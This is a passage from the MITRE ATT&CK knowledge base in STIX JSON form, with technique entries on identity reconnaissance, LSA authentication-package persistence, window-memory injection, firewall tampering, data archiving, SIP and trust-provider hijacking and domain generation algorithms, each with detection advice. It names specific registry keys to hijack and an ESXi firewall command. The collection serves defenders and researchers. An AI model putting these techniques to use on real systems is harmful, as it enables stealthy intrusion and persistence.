                    "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"
                },
                {
                    "source_name": "GitHub Gitrob",
                    "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.",
                    "url": "https://github.com/michenriksen/gitrob"
                },
                {
                    "source_name": "CNET Leaks",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
                    "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
                },
                {
                    "source_name": "Obsidian SSPR Abuse 2023",
                    "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
                    "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"
                },
                {
                    "source_name": "Forbes GitHub Creds",
                    "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.",
                    "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"
                },
                {
                    "source_name": "Register Deloitte",
                    "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.",
                    "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
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            "modified": "2025-04-15T22:37:47.951Z",
            "name": "Gather Victim Identity Information",
            "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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                    "phase_name": "reconnaissance"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "id": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d",
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                    "external_id": "T1131"
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                {
                    "source_name": "MSDN Authentication Packages",
                    "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx"
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                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
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                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
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            "description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.",
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            "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1181",
                    "external_id": "T1181"
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                {
                    "source_name": "Microsoft Window Classes",
                    "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx"
                },
                {
                    "source_name": "Microsoft GetWindowLong function",
                    "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
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                    "source_name": "Microsoft SetWindowLong function",
                    "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx"
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                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                    "source_name": "MalwareTech Power Loader Aug 2013",
                    "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
                    "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html"
                },
                {
                    "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013",
                    "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
                    "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/"
                },
                {
                    "source_name": "Microsoft SendNotifyMessage function",
                    "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx"
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            "name": "Extra Window Memory Injection",
            "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)",
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            "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
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            "id": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "created": "2020-02-21T21:00:48.814Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/004",
                    "external_id": "T1562.004"
                },
                {
                    "source_name": "Broadcom ESXi Firewall",
                    "description": "Broadcom. (2025, March 24). Add Allowed IP Addresses for an ESXi Host by Using the VMware Host Client. Retrieved March 26, 2025.",
                    "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere/7-0/add-allowed-ip-addresses-for-an-esxi-host-by-using-the-vmware-host-client.html"
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                {
                    "source_name": "Huntress BlackCat",
                    "description": "Carvey, H. (2024, February 28). BlackCat Ransomware Affiliate TTPs. Retrieved March 27, 2024.",
                    "url": "https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps"
                },
                {
                    "source_name": "Trellix Rnasomhouse 2024",
                    "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.",
                    "url": "https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/"
                },
                {
                    "source_name": "change_rdp_port_conti",
                    "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.",
                    "url": "https://x.com/TheDFIRReport/status/1498657772254240768"
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            "modified": "2025-04-15T19:58:31.395Z",
            "name": "Disable or Modify System Firewall",
            "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds.(Citation: Huntress BlackCat) Settings related to enabling abuse of various [Remote Services](https://attack.mitre.org/techniques/T1021) may also indirectly modify firewall rules.\n\nIn ESXi, firewall rules may be modified directly via the esxcli command line interface (e.g., via `esxcli network firewall set`) or via the vCenter user interface.(Citation: Trellix Rnasomhouse 2024)(Citation: Broadcom ESXi Firewall)",
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            "x_mitre_detection": "Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
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            "id": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "created": "2020-02-20T20:53:45.725Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1560",
                    "external_id": "T1560"
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                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved November 17, 2024.",
                    "url": "https://cdn.cnn.com/cnn/2018/images/07/13/gru.indictment.pdf"
                },
                {
                    "source_name": "Wikipedia File Header Signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures"
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            "modified": "2025-04-15T21:50:30.319Z",
            "name": "Archive Collected Data",
            "description": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network.(Citation: DOJ GRU Indictment Jul 2018) Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.",
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "T1152"
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                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "type": "attack-pattern",
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            "created": "2020-02-05T19:34:04.910Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1553/003",
                    "external_id": "T1553.003"
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                {
                    "source_name": "Entrust Enable CAPI2 Aug 2017",
                    "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
                    "url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165"
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                {
                    "source_name": "GitHub SIP POC Sept 2017",
                    "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.",
                    "url": "https://github.com/mattifestation/PoCSubjectInterfacePackage"
                },
                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
                },
                {
                    "source_name": "Microsoft Catalog Files and Signatures April 2017",
                    "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files"
                },
                {
                    "source_name": "Microsoft Audit Registry July 2012",
                    "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"
                },
                {
                    "source_name": "Microsoft Registry Auditing Aug 2016",
                    "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"
                },
                {
                    "source_name": "Microsoft Authenticode",
                    "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/ms537359.aspx"
                },
                {
                    "source_name": "Microsoft WinVerifyTrust",
                    "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx"
                },
                {
                    "source_name": "EduardosBlog SIPs July 2008",
                    "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.",
                    "url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:31.965Z",
            "name": "SIP and Trust Provider Hijacking",
            "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matt Graeber, @mattifestation, SpecterOps"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Module: Module Load",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--54456690-84de-4538-9101-643e26437e09",
            "created": "2019-02-18T17:22:57.831Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1483",
                    "external_id": "T1483"
                },
                {
                    "source_name": "Cybereason Dissecting DGAs",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"
                },
                {
                    "source_name": "Cisco Umbrella DGA",
                    "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.",
                    "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/"
                },
                {
                    "source_name": "Unit 42 DGA Feb 2019",
                    "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/"
                },
                {
                    "source_name": "Talos CCleanup 2017",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
                },
                {
                    "source_name": "Akamai DGA Mitigation",
                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
                    "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html"
                },
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                },
                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
                },
                {
                    "source_name": "Data Driven Security DGA",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
                },
                {
                    "source_name": "Pace University Detecting DGA May 2017",
                    "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.",
                    "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"
                },
                {
                    "source_name": "Elastic Predicting DGA",
                    "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.",
                    "url": "https://arxiv.org/pdf/1611.00791.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:33.251Z",
            "name": "Domain Generation Algorithms",
            "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Sylvain Gil, Exabeam",
                "Barry Shteiman, Exabeam",
                "Ryan Benson, Exabeam"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain or related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1185",
                    "external_id": "T1185"
                },
                {
                    "source_name": "Wikipedia Man in the Browser",
                    "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Man-in-the-browser"
                },
                {
                    "source_name": "Cobalt Strike Browser Pivot",
                    "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
                    "url": "https://www.cobaltstrike.com/help-browser-pivoting"
                },
                {
                    "source_name": "ICEBRG Chrome Extensions",
                    "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
                    "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
                },
                {
                    "source_name": "cobaltstrike manual",
                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
                    "url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:33.428Z",
            "name": "Browser Session Hijacking",
